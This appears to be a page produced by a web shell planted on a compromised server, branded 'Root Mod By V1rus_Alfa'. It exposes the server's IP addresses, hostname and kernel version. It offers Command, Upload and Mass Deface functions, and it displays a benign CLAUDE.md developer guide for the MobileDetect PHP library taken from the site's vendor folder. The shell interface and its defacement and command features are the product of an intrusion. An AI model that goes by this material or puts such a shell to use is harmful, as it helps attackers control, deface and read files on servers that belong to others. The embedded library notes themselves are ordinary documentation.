���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
vendor
/
mobiledetect
/
mobiledetectlib
/
Viewing: CLAUDE.md
# CLAUDE.md Whenever you find a new rule that applies to this project, add it to this file. ## Project PHP library (`Detection\MobileDetect`) for detecting mobile devices/tablets via User-Agent strings and HTTP headers. Requires PHP >= 8.0. PSR-12 code style. ## Branch & Release - Active branch: `4.x` (rolling — one branch per major). Always rebase into `4.x` (not `main` or `master`). Tags follow `<major>.<minor>.<patch>`. - On new tag: update `@version` docblock + `$VERSION` property in `src/MobileDetect.php`, and `version` in `MobileDetect.json`. ## Commands ```bash # Tests vendor/bin/phpunit -v -c tests/phpunit.xml vendor/bin/phpunit -v -c tests/phpunit.xml --filter testMethodName # Lint + static analysis vendor/bin/phpcs vendor/bin/php-cs-fixer fix vendor/bin/phpstan analyse --memory-limit=1G --level 3 src tests # Benchmark vendor/bin/phpbench run tests/benchmark/MobileDetectBench.php --retry-threshold=1 --iterations=10 --revs=1000 --report=aggregate --tag=baseline vendor/bin/phpbench run tests/benchmark/MobileDetectBench.php --ref=baseline --retry-threshold=1 --iterations=10 --revs=1000 --report=aggregate ``` ## Architecture ``` src/ MobileDetect.php # Core class: regex patterns, isMobile(), isTablet(), is(), version(), magic isXXXX() via __call MobileDetectStandalone.php # Non-Composer wrapper (loads standalone/ autoloader) Cache/Cache.php # In-memory PSR-16 cache with TTL Exception/ # MobileDetectException + error codes tests/ providers/vendors/*.php # UA fixture arrays per vendor (Apple, Samsung, etc.) UserAgentTest.php # Data-driven tests from vendor fixtures MobileDetectGeneralTest.php # Core logic tests CacheTest.php, MobileDetectWithCacheTest.php, MobileDetectExceptionTest.php benchmark/MobileDetectBench.php ``` ## Key Patterns - Detection results are cached via PSR-16 (`CacheInterface`). Default: in-memory `Cache`. Cache keys use `sha1` by default. - `$_SERVER` HTTP headers auto-initialized unless `autoInitOfHttpHeaders` config is `false`. - CloudFront headers (`HTTP_CLOUDFRONT_IS_MOBILE_VIEWER`, etc.) are recognized for AWS detection. - Magic `isXXXX()` calls dispatch through `__call` -> `is()` -> `match()` against static regex arrays (`$phoneDevices`, `$tabletDevices`, `$operatingSystems`, `$browsers`).
Coded With 💗 by
0x6ick Mod By V1rus_Alfa